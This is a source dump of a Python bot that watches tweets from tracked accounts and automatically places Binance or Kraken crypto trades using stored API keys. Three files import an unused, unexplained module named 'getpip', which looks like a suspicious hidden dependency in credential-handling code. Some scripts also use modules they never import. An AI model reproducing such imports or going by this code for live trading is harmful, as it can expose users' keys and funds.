97 | print('\n\n'+'*'*25 + ' Moonshot Inbound! '+'*'*25 + '\n')
98 | successful=True
99 |
100 | except Exception as e:
101 | print('\nTried executing trade with ticker %s/%s, did not work' % (self.buy_coin,self.sell_coin))
102 | print(e)
103 |
104 | else:
105 | # Loop over possible coin string lengths and get coins, firstflag is the first try to trade, successful is a flag if traded or not
106 | firstflag = True
107 |
108 | # String manipulation and finding coins
109 | full_text = full_text.replace('\n', ' ')
110 | full_text = full_text.replace('/', ' ')
111 | for i in [3,4,5,2,6]:
112 | pairs = self.substring_matches(full_text, i, firstflag)
113 | firstflag = False
114 | if not pairs[0]:
115 | continue
116 |
117 | # Loop over the possible buy coins and try to trade
118 | # Currently will only execute 1 trade which is the first in the trade
119 | for j in range(len(pairs[0])):
120 | # Get coin volume from cached trade volumes and execute trade
121 | try:
122 | pair = [pairs[0][j], pairs[1]]
123 | coin_vol = self.exchange_data.buy_sell_vols[pair[0]]
124 |
125 | # Start the buy thread
126 | t = threading.Thread(target=self.exchange.execute_trade, args=(pair,), kwargs={'hold_times':self.hold_times, 'buy_volume':coin_vol, 'simulate':self.simulate, 'status':status})
127 | t.start()
128 | print('\n\n'+'*'*25 + ' Moonshot Inbound! '+'*'*25 + '\n')
129 | successful = True
130 |
131 | # Break means only execute on one coin
132 | break
133 |
134 | except Exception as e:
135 | print('\nTried executing trade with ticker %s, did not work' % str(pair))
136 | # print(traceback.format_exc())
137 | print(e)
138 | if successful:
139 | break
140 |
141 | print('\n\n'+'-'*15 + ' New Tweet ' + '-' * 15)
142 | print('%s\n@%s - %s:\n\n"%s"' % (datetime.now().strftime('%H:%M:%S'), status.user.screen_name, status.created_at.strftime('%b %d at %H:%M:%S'), full_text))
143 |
144 | if not successful:
145 | print('\nNo valid tickers to trade in tweet')
146 |
147 |
148 | except Exception as e:
149 | print('\nError when handling tweet')
150 | print(e)
151 |
152 | print('\nRestarting stream\n')
153 |
154 | # Streaming error handling
155 | def on_error(self, status_code):
156 | print('Error in streaming: Code %d, sleeping for 10' % status_code)
157 | if status_code == 420:
158 | print('Wait for cooloff period to try again\n\nExiting')
159 | exit()
160 | time.sleep(10)
161 | print('\nRestarting stream\n')
162 |
163 |
164 | # Stream tweets
165 | def stream_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, keywords=None, log_file=None, buy_coin=None, full_ex=True, exchange_data=None, cancel=[False]):
166 |
167 | # Set and list of ids of users tracked
168 | user_ids_list = [i['id'] for i in users.values()]
169 | user_ids_set = [int(i) for i in user_ids_list]
170 |
171 | # Get exchange tickers and calculate volumes to buy for each tradeable crypto
172 | coin_subset = None
173 | if buy_coin:
174 | coin_subset = [buy_coin]
175 |
176 | if exchange_data is None:
177 | exchange_data = exchange_pull(exchange, hold_times, base_coin=sell_coin, coin_subset=coin_subset)
178 | # Create daemon thread which exits when other thread exits
179 | daemon = threading.Thread(name='daemon', target=exchange_data.buy_sell_volumes, args=(buy_volume,20*60))
180 | daemon.setDaemon(True)
181 | daemon.start()
182 | time.sleep(3)
183 |
184 | # Create the Tweepy streamer
185 | listener = Listener(users, user_ids_set, sell_coin, hold_times, buy_volume, simulate, exchange, exchange_data, log_file=log_file, buy_coin=buy_coin, full_ex=full_ex)
186 | stream = Stream(auth=api.auth, listener=listener, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)
187 |
188 | # Start stream and query prices
189 | print('\nStarting stream\n')
190 |
191 |
192 | # Try catch for different termination procedures
193 | while 1:
194 | try:
195 | # Start streaming tweets
196 | if keywords:
197 | stream.filter(follow=user_ids_list,track=keywords)
198 | else:
199 | stream.filter(follow=user_ids_list)
200 |
201 | # Keyboard interrupt kills the whole program
202 | except KeyboardInterrupt as e:
203 | stream.disconnect()
204 | print('\n\n'+'-'*50)
205 | print('/'*15+' Stopped Stream '+'\\'*15)
206 | print('-'*50)
207 | print('\nWaiting for trades to finish\n')
208 | cancel[0] = True
209 | raise KeyboardInterrupt
210 |
211 | # Disconnect the stream and kill the thread looking for prices
212 | finally:
213 | print('\nDisconnected Stream\n')
214 | # exchange_data.stopflag = True
215 | stream.disconnect()
216 |
217 |
218 |
--------------------------------------------------------------------------------
/twitter_binance.py:
--------------------------------------------------------------------------------
1 | import tweepy
2 | import json,getpip
3 | import time
4 | from datetime import datetime
5 | from binance_api import *
6 | from stream_multiple import *
7 | from query import *
8 | import ast
9 | import traceback
10 |
11 | # Checks if a tweet from a user contains a particular trigger word
12 | def tweepy_pull(api, user, pair, crypto, hold_time, volume, simulate, stream, wait_tweet=True, logfile=None, print_timer=False, full_ex=True):
13 |
14 | exchange = binance_api(api_keys, logfile=logfile)
15 |
16 | # Stream tweets
17 | if stream:
18 | while 1:
19 | # Users specified with keywords
20 | users = {user[0]:{'id':str(user[1]),'keywords':crypto['triggers']}}
21 |
22 | # From steam_multiple.py file
23 | try:
24 | stream_tweets(api, users, pair[1].upper(), hold_time, volume, simulate, exchange, keywords=crypto['triggers'], buy_coin=pair[0].upper(), full_ex=full_ex)
25 | except Exception as e:
26 | print(e)
27 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S')))
28 |
29 | # Query tweets
30 | else:
31 | # From query.py file
32 | try:
33 | query_tweets(api, exchange, user, pair, crypto, hold_time, volume, simulate, wait_tweet, print_timer, full_ex=full_ex)
34 | except Exception as e:
35 | print(traceback.print_exc())
36 | print(e)
37 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S')))
38 |
39 |
40 | # Loads a json file
41 | def load_json(filepath):
42 | with open(filepath) as json_file:
43 | return json.load(json_file)
44 |
45 | # Command line: python twitter_binance_futures.py l (save trade logs) p (print query intervals)
46 |
47 | # Load keys, keywords and users
48 | api_keys = load_json('../keys.json')
49 | users = load_json('users.json')
50 | cryptos = load_json('keywords.json')
51 |
52 | if 'prev_trades' in os.listdir():
53 | full_ex = False
54 | else:
55 | full_ex = True
56 |
57 | twitter_keys = {'consumer_key':api_keys['twitter_keys']['consumer_key'],'consumer_secret':api_keys['twitter_keys']['consumer_secret'],'access_token_key':api_keys['twitter_keys']['access_token_key'],'access_token_secret': api_keys['twitter_keys']['access_token_secret']}
58 |
59 | # Use second group of twitter api keys
60 | if '2' in sys.argv:
61 | api_keys2 = load_json('../twitter_keys2.json')
62 | twitter_keys = {'consumer_key':api_keys2['twitter_keys']['consumer_key'],'consumer_secret':api_keys2['twitter_keys']['consumer_secret'],'access_token_key':api_keys2['twitter_keys']['access_token_key'],'access_token_secret': api_keys2['twitter_keys']['access_token_secret']}
63 |
64 | # Get user inputs
65 | print('\nEnter crypto to buy: '+'%s '* len(cryptos) % tuple(cryptos.keys()))
66 | skip_input = False
67 |
68 | # Buy currency
69 | crypto = input()
70 | if not crypto:
71 | crypto = 'doge'
72 | skip_input = True
73 | buy_coin = cryptos[crypto]
74 |
75 | # Sell currency
76 | if not skip_input:
77 | print('\nEnter currency to sell: '+'%s '* len(cryptos) % tuple(cryptos.keys()))
78 | sell_coin = cryptos[input()]
79 | else:
80 | sell_coin = cryptos['btc']
81 |
82 | pair = [buy_coin['symbol'], sell_coin['symbol']]
83 |
84 | # User to track
85 | if not skip_input:
86 | print('\nUser: '+'%s '* len(users) % tuple(users.keys()))
87 | username = input()
88 | if username:
89 | user = users[username]
90 | else:
91 | user = users['me']
92 | skip_input = True
93 | else:
94 | user = users['me']
95 |
96 | # Time after buying before selling
97 | hold_time = [1]
98 | if not skip_input:
99 | print('\nHodl time(s) seconds e.g. 200 or 30,60,90: ')
100 | hold_time = input()
101 | if not hold_time:
102 | hold_time = [30,60,90]
103 |
104 | hold_time = ast.literal_eval('['+hold_time+']')
105 | print(hold_time)
106 |
107 | print('\nHodl time: '+'%.2fs '*len(hold_time) % tuple(hold_time))
108 |
109 | # Amount of crypto to buy (Fastest if fewest queries before buying)
110 | if not skip_input:
111 | print('\nAmount to buy in $: ')
112 | volume = input()
113 | if not volume:
114 | if crypto == 'doge':
115 | volume = 100
116 | elif crypto == 'btc':
117 | volume = 0.0002
118 | else:
119 | volume = float(volume)
120 | else:
121 | volume = 50
122 | print('\nVolume $%.8f' % (volume))
123 |
124 | # Simulation trade or real trade
125 | simulate = True
126 | if not skip_input:
127 | print('\nTest y/n:')
128 | test = input()
129 | simulate = True
130 | if test == 'n': simulate = False
131 |
132 | # User to track, empty to skip tweet waiting
133 | stream = True
134 | if not skip_input:
135 | print('\nStream or query s/q: ')
136 | stream_input = input()
137 | if stream_input != 'q':
138 | stream = True
139 | else:
140 | stream = False
141 |
142 | if simulate:
143 | print('\nSIMULATION TRADING')
144 |
145 | # Inintilizing a file of jsons to log trades
146 | logfile = False
147 | if 'l' in sys.argv:
148 | logfile = True
149 |
150 | # Use twitter API
151 | auth = tweepy.OAuthHandler(twitter_keys['consumer_key'], twitter_keys['consumer_secret'])
152 | auth.set_access_token(twitter_keys['access_token_key'], twitter_keys['access_token_secret'])
153 | api = tweepy.API(auth)
154 |
155 | # Execute function
156 | tweepy_pull(api, user, pair, buy_coin, hold_time, volume, simulate, stream, wait_tweet=not skip_input, logfile=logfile, full_ex=full_ex)
157 |
--------------------------------------------------------------------------------
/twitter_exchanges.py:
--------------------------------------------------------------------------------
1 | import tweepy
2 | import json
3 | import time,getpip
4 | import ast
5 | import os
6 | from datetime import datetime
7 | import traceback
8 | from binance_api import *
9 | from stream_multiple import *
10 | from query_multiple import *
11 |
12 | # Checks if a tweet from a user contains a particular trigger word
13 | def tweepy_pull(api, users, sell_coin, hold_times, buy_volume, simulate, stream, wait_tweet=True, logfile=None, print_timer=False, full_ex=True, both=False, account_json=None):
14 |
15 | # Create exchange object and start querying prices as a daemon (cancels when the main thread ends)
16 | exchange = binance_api(api_keys, logfile=logfile, block=both, account_json=account_json)
17 | exchange_data = exchange_pull(exchange, hold_times, base_coin=sell_coin)
18 | daemon = threading.Thread(name='daemon', target=exchange_data.buy_sell_volumes, args=(volume,20*60))
19 | daemon.setDaemon(True)
20 | daemon.start()
21 | time.sleep(3)
22 |
23 | cancel = [False]
24 |
25 | # Stream tweets
26 | if not both:
27 | if stream:
28 | # From stream_multiple.py file
29 | while 1:
30 | try:
31 | stream_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, full_ex=full_ex, exchange_data=exchange_data, cancel=cancel)
32 | except KeyboardInterrupt:
33 | print('\nExiting main thread')
34 | break
35 | except Exception as e:
36 | print('%s Error in streaming - %s' % (datetime.now().strftime('%m/%d %H:%M:%S'), e))
37 |
38 |
39 | else:
40 | # Query tweets from query.py file
41 | query_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, print_timer=print_timer, full_ex=full_ex, exchange_data=exchange_data, cancel=cancel)
42 |
43 | # Sleeping wait for keyboard interrupt
44 | while 1:
45 | try:
46 | time.sleep(2000)
47 | except KeyboardInterrupt:
48 | print('\nSetting cancel to true')
49 | cancel[0] = True
50 | time.sleep(2)
51 | while threading.active_count() > 2:
52 | time.sleep(1)
53 | print('There are %d trades left to sell' % (threading.active_count() - 2))
54 | print('\nExiting main thread')
55 | exit()
56 | else:
57 | # Start the query as a thread with cancellling mechanism
58 | t1 = threading.Thread(target=query_tweets, args=(api, users, sell_coin, hold_times, buy_volume, simulate, exchange), kwargs={'print_timer':print_timer, 'full_ex':full_ex, 'exchange_data':exchange_data, 'cancel':cancel})
59 | t1.start()
60 |
61 | # Stream tweets
62 | while 1:
63 | try:
64 | stream_tweets(api, users, sell_coin, hold_times, buy_volume, simulate, exchange, full_ex=full_ex, exchange_data=exchange_data, cancel=cancel)
65 | except KeyboardInterrupt:
66 | break
67 | except Exception as e:
68 | print('%s Error in streaming - %s' % (datetime.now().strftime('%m/%d %H:%M:%S'), e))
69 |
70 | print('\nSetting cancel to true')
71 | cancel[0] = True
72 | while threading.active_count() > 4 + len(users):
73 | print('\nThere are %d trades left to clear' % (threading.active_count() - 4 - len(users)))
74 | time.sleep(20)
75 | print('\nExiting main thread')
76 | exit()
77 |
78 |
79 | # Loads a json file
80 | def load_json(filepath):
81 | with open(filepath) as json_file:
82 | return json.load(json_file)
83 |
84 | def read_twitter_keys(keys):
85 | twitter_keys = {'consumer_key':keys['twitter_keys']['consumer_key'],'consumer_secret':keys['twitter_keys']['consumer_secret'],'access_token_key':keys['twitter_keys']['access_token_key'],'access_token_secret': keys['twitter_keys']['access_token_secret']}
86 | return twitter_keys
87 |
88 | # Command line: python twitter_binance_futures.py l (save trade logs) p (print query intervals) 2 (2nd set of twitter keys)
89 |
90 | # Load keys, keywords and users
91 | api_keys = load_json('../keys.json')
92 | cryptos = load_json('keywords.json')
93 | twitter_keys = read_twitter_keys(api_keys)
94 |
95 |
96 |
97 | # Get command line user inputs
98 | full_ex = True
99 | if 'prev_trades' in os.listdir():
100 | json_files = list(filter(lambda x : x.endswith('.json') and x not in ['keywords.json','users.json'],os.listdir()))
101 | print('\nChoose accounts to follow: '+'%s ' * len(json_files) % tuple([file+' ('+str(i)+') ' for i, file in enumerate(json_files)]))
102 | if 'query_futures.py' in os.listdir(): full_ex = False
103 | accounts = input()
104 | account_json_str = json_files[int(accounts)]
105 | exchange_keywords = load_json(account_json_str)
106 | else:
107 | account_json_str = 'exchange_keywords.json'
108 | exchange_keywords = load_json(account_json_str)
109 |
110 |
111 | # Users to track
112 | print('\nUsers: e.g. "coinbase,CoinbasePro,binance" or "all" from: '+'%s '* len(exchange_keywords) % tuple(list(exchange_keywords.keys())))
113 | usernames = input()
114 | skip_input = False
115 | if not usernames:
116 | users = ['ArbitrageDaddy']
117 | skip_input = True
118 | elif usernames == 'all':
119 | users = list(filter(lambda x : x not in ['ArbitrageDaddy', 'elonmusk'],[i for i in exchange_keywords.keys()]))
120 | else:
121 | users = usernames.split(',')
122 | print(users)
123 | users = {key:exchange_keywords[key] for key in users}
124 |
125 | # Sell currency
126 | print('\nEnter currency to sell: btc, usdt')
127 | sell_coin = 'BTC'
128 | if not skip_input:
129 | sell_input = input()
130 | if not sell_input:
131 | sell_coin = 'BTC'
132 | skip_input = True
133 | else:
134 | sell_coin = cryptos[sell_input]['symbol']
135 | skip_input = False
136 |
137 |
138 | # Time after buying before selling
139 | hold_time = [5]
140 | if not skip_input:
141 | print('\nHodl time(s) seconds e.g. 200 or 30,60,90: ')
142 | hold_time = input()
143 | if not hold_time:
144 | hold_time = [30,60,90]
145 | skip_input = True
146 | else:
147 | hold_time = ast.literal_eval('['+hold_time+']')
148 | print(hold_time)
149 |
150 | print('\nHodl time : '+'%.2fs '*len(hold_time) % tuple(hold_time))
151 |
152 | # Amount in USD to buy
153 | if not skip_input:
154 | print('\nVolume in USD: ')
155 | volume = input()
156 | if not volume:
157 | volume = 20
158 | else:
159 | volume = float(volume)
160 | else:
161 | volume = 20
162 | print('\nVolume %.2f USD' % (volume))
163 |
164 | # Simulation trade or real trade
165 | simulate = True
166 | if not skip_input:
167 | print('\nTest y/n:')
168 | test = input()
169 | simulate = True
170 | if test == 'n': simulate = False
171 |
172 | # User to track, empty to skip tweet waiting
173 | stream, both = True, False
174 | if not skip_input:
175 | print('\nStream or query s/q: ')
176 | stream_input = input()
177 | if stream_input == 'b':
178 | both = True
179 | elif stream_input != 'q':
180 | stream = True
181 | else:
182 | stream = False
183 |
184 | # Alternating use of twitter api keys
185 | if '2' in sys.argv:
186 | api_keys_2 = load_json('../twitter_keys2.json')
187 | print('\nUsing twitter keys 2')
188 | twitter_keys = read_twitter_keys(api_keys_2)
189 | elif '3' in sys.argv:
190 | api_keys_3 = load_json('../twitter_keys3.json')
191 | print('\nUsing twitter keys 3')
192 | twitter_keys = read_twitter_keys(api_keys_3)
193 |
194 |
195 | if simulate:
196 | print('\n'+'-'*10+' SIMULATION TRADING '+'-'*10+'\n')
197 | else:
198 | print('\n'+'-'*10+' LIVE TRADING '+'-'*10+'\n')
199 |
200 | # Inintilizing a file of jsons to log trades
201 | logfile = False
202 | if 'l' in sys.argv:
203 | logfile = True
204 |
205 | print_timer = False
206 | if 'p' in sys.argv:
207 | print_timer = True
208 |
209 | # Use twitter API
210 | auth = tweepy.OAuthHandler(twitter_keys['consumer_key'], twitter_keys['consumer_secret'])
211 | auth.set_access_token(twitter_keys['access_token_key'], twitter_keys['access_token_secret'])
212 | api = tweepy.API(auth)
213 |
214 | # Execute function
215 | tweepy_pull(api, users, sell_coin, hold_time, volume, simulate, stream, wait_tweet=not skip_input, logfile=logfile, full_ex=full_ex, print_timer=print_timer, both=both, account_json=account_json_str[:-5])
216 |
217 |
218 |
--------------------------------------------------------------------------------
/twitter_kraken.py:
--------------------------------------------------------------------------------
1 | import tweepy
2 | import json
3 | import time,getpip
4 | from datetime import datetime
5 | from kraken_api import *
6 | from stream import *
7 | from query import *
8 | import ast
9 |
10 | # Checks if a tweet from a user contains a particular trigger word
11 | def tweepy_pull(api, user, pair, crypto, hold_time, volume, simulate, stream, wait_tweet=True, logfile=None, print_timer=False):
12 |
13 | exchange = kraken_api(api_keys, logfile=logfile)
14 |
15 | # Stream tweets
16 | if stream:
17 | while 1:
18 | user_ids = [str(user[1])]
19 | try:
20 | stream_tweets(api, user_ids, set(user_ids), pair, hold_time, volume, simulate, exchange, keywords=crypto['triggers'])
21 | except Exception as e:
22 | print(e)
23 | print('%s\n'%(datetime.now().strftime('%b %d - %H:%M:%S')))
24 |
25 | # Query tweets
26 | else:
27 | twitter_q = Twitter_Query(api, exchange)
28 | twitter_q.query(user, pair, crypto, hold_time, volume, simulate, wait_tweet, print_timer)
29 |
30 | # Loads a json file
31 | def load_json(filepath):
32 | with open(filepath) as json_file:
33 | return json.load(json_file)
34 |
35 | # Load keys, keywords and users
36 | api_keys = load_json('../keys.json')
37 | users = load_json('users.json')
38 | cryptos = load_json('keywords.json')
39 |
40 | twitter_keys = {'consumer_key':api_keys['twitter_keys']['consumer_key'],'consumer_secret':api_keys['twitter_keys']['consumer_secret'],'access_token_key':api_keys['twitter_keys']['access_token_key'],'access_token_secret': api_keys['twitter_keys']['access_token_secret']}
41 |
42 | # Use second group of twitter api keys
43 | if '2' in sys.argv:
44 | api_keys2 = load_json('../twitter_keys2.json')
45 | twitter_keys = {'consumer_key':api_keys2['twitter_keys']['consumer_key'],'consumer_secret':api_keys2['twitter_keys']['consumer_secret'],'access_token_key':api_keys2['twitter_keys']['access_token_key'],'access_token_secret': api_keys2['twitter_keys']['access_token_secret']}
46 |
47 | # Get user inputs
48 | print('\nEnter crypto to buy: '+'%s '* len(cryptos) % tuple(cryptos.keys()))
49 | skip_input = False
50 |
51 | # Buy currency
52 | crypto = input()
53 | if not crypto:
54 | crypto = 'doge'
55 | skip_input = True
56 | buy_coin = cryptos[crypto]
57 |
58 | # Sell currency
59 | if not skip_input:
60 | print('\nEnter currency to sell: '+'%s '* len(cryptos) % tuple(cryptos.keys()))
61 | sell_coin = cryptos[input()]
62 | else:
63 | sell_coin = cryptos['btc']
64 |
65 | pair = [buy_coin['symbol'], sell_coin['symbol']]
66 |
67 | # User to track
68 | if not skip_input:
69 | print('\nUser: '+'%s '* len(users) % tuple(users.keys()))
70 | username = input()
71 | if username:
72 | user = users[username]
73 | else:
74 | user = users['me']
75 | skip_input = True
76 | else:
77 | user = users['me']
78 |
79 | # Time after buying before selling
80 | hold_time = [1]
81 | if not skip_input:
82 | print('\nHodl time(s) seconds e.g. 200 or 30,60,90: ')
83 | hold_time = input()
84 | if not hold_time:
85 | hold_time = [30,60,90]
86 |
87 | hold_time = ast.literal_eval('['+hold_time+']')
88 | print(hold_time)
89 |
90 | print('\nHodl time :'+'%.2fs '*len(hold_time) % tuple(hold_time))
91 |
92 | # Amount of crypto to buy (Fastest if fewest queries before buying)
93 | if not skip_input:
94 | print('\nVolume in crypto: ')
95 | volume = input()
96 | if not volume:
97 | if crypto == 'doge':
98 | volume = 100
99 | elif crypto == 'btc':
100 | volume = 0.0002
101 | else:
102 | volume = float(volume)
103 | else:
104 | volume = 50
105 | print('\nVolume %.8f %s' % (volume, buy_coin['symbol']))
106 |
107 | # Simulation trade or real trade
108 | simulate = True
109 | if not skip_input:
110 | print('\nTest y/n:')
111 | test = input()
112 | simulate = True
113 | if test == 'n': simulate = False
114 |
115 | # User to track, empty to skip tweet waiting
116 | stream = True
117 | if not skip_input:
118 | print('\nStream or query s/q: ')
119 | stream_input = input()
120 | if stream_input != 'q':
121 | stream = True
122 | else:
123 | stream = False
124 |
125 | if simulate:
126 | print('\nSIMULATION TRADING')
127 |
128 | # Inintilizing a file of jsons to log trades
129 | logfile = False
130 | if 'l' in sys.argv:
131 | logfile = True
132 |
133 | # Use twitter API
134 | auth = tweepy.OAuthHandler(twitter_keys['consumer_key'], twitter_keys['consumer_secret'])
135 | auth.set_access_token(twitter_keys['access_token_key'], twitter_keys['access_token_secret'])
136 | api = tweepy.API(auth)
137 |
138 | # Execute function
139 | tweepy_pull(api, user, pair, buy_coin, hold_time, volume, simulate, stream, wait_tweet=not skip_input, logfile=logfile)
--------------------------------------------------------------------------------
/users.json:
--------------------------------------------------------------------------------
1 | {"elon":["elonmusk",44196397], "me":["ArbitrageDaddy", 1351770767130673152]}
2 |
--------------------------------------------------------------------------------